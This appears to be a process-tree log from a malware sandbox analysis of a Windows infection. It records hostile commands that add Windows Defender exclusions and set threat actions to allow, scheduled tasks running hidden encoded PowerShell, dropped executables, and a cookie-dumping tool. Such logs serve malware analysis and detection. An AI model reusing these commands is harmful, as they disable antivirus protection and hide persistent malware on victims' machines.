\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6415⤵PID:17328
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gZxBIsKhi" /SC once /ST 13:39:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="13⤵
- Creates scheduled task(s)
PID:3100 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gZxBIsKhi"13⤵PID:4156
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gZxBIsKhi"13⤵PID:6180
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWIRRaDZCpCYZHZEtf" /SC once /ST 16:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\rmwnDPC.exe\" nh /site_id 754 /S" /V1 /F13⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:6392 -
C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-J848Q.tmp\hjjgaa.exe" /Verysilent5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:15888 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:16056 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
PID:6812
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:16852
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:16920
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:3128
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:4232
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:2676
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4268
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4864
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6304
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6740
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7080
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:12388 -
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1534163d-60e4-2142-b852-ec1fe0a4c254}\oemvista.inf" "9" "4d14a44ff" "000000000000016C" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:12560 -
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000016C"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:14368
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:15016
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
PID:15020
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4540
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
PID:11984 -
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:12640
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\rmwnDPC.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\rmwnDPC.exe nh /site_id 754 /S1⤵
- Drops file in System32 directory
PID:15332 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:13332 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:14612
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:14728
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:15872
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:1892
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:14956
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:3400
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:15244
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:1740
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:8968
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:15600
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:15228
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:15652
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:1476
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:15768
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:16148
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:7780
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:17220
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:956
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:16356
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:4984
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:16744
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CzJsMnpmYIHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CzJsMnpmYIHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JDaUpqLWU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JDaUpqLWU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MCoLVEAxuDhpC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MCoLVEAxuDhpC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hxLIpSuPLJUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hxLIpSuPLJUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yjiDqdgnMIE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yjiDqdgnMIE\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pJxacTbbSlizmPVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pJxacTbbSlizmPVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZKIEJJPSRIlthXTT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZKIEJJPSRIlthXTT\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5680 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:323⤵PID:5392
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:324⤵PID:6164
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CzJsMnpmYIHU2" /t REG_DWORD /d 0 /reg:643⤵PID:7244
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:323⤵PID:6168
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JDaUpqLWU" /t REG_DWORD /d 0 /reg:643⤵PID:8348
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:323⤵PID:8080
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MCoLVEAxuDhpC" /t REG_DWORD /d 0 /reg:643⤵PID:8892
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:323⤵PID:7480
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR" /t REG_DWORD /d 0 /reg:643⤵PID:6592
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:323⤵PID:9028
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hxLIpSuPLJUn" /t REG_DWORD /d 0 /reg:643⤵PID:9052
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:323⤵PID:15980
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yjiDqdgnMIE" /t REG_DWORD /d 0 /reg:643⤵PID:8536
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pJxacTbbSlizmPVB /t REG_DWORD /d 0 /reg:323⤵PID:6096
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pJxacTbbSlizmPVB /t REG_DWORD /d 0 /reg:643⤵PID:8632
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE /t REG_DWORD /d 0 /reg:323⤵PID:8464
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\svZsuFgRAiSlE /t REG_DWORD /d 0 /reg:643⤵PID:8260
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj /t REG_DWORD /d 0 /reg:323⤵PID:9220
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj /t REG_DWORD /d 0 /reg:643⤵PID:8644
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZKIEJJPSRIlthXTT /t REG_DWORD /d 0 /reg:323⤵PID:9608
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZKIEJJPSRIlthXTT /t REG_DWORD /d 0 /reg:643⤵PID:9688
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gytCVypMN" /SC once /ST 06:31:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:9060 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gytCVypMN"2⤵PID:9320
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gytCVypMN"2⤵PID:14312
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "cbBtQoNpOByPPTwrn" /SC once /ST 04:26:29 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\SxjcCox.exe\" V8 /site_id 754 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:14588 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "cbBtQoNpOByPPTwrn"2⤵PID:13668
-
C:\Users\Admin\AppData\Local\Temp\33E8.tmp.exeC:\Users\Admin\AppData\Local\Temp\33E8.tmp.exe1⤵
- Loads dropped DLL
PID:16624
-
C:\Users\Admin\AppData\Local\Temp\436A.tmp.exeC:\Users\Admin\AppData\Local\Temp\436A.tmp.exe1⤵PID:3944
-
C:\Users\Admin\AppData\Local\Temp\56A5.tmp.exeC:\Users\Admin\AppData\Local\Temp\56A5.tmp.exe1⤵PID:7104
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7104 -s 11242⤵
- Program crash
PID:4776
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5260
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵PID:5212
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:6844
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:6252
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5784
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4992
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:6540
-
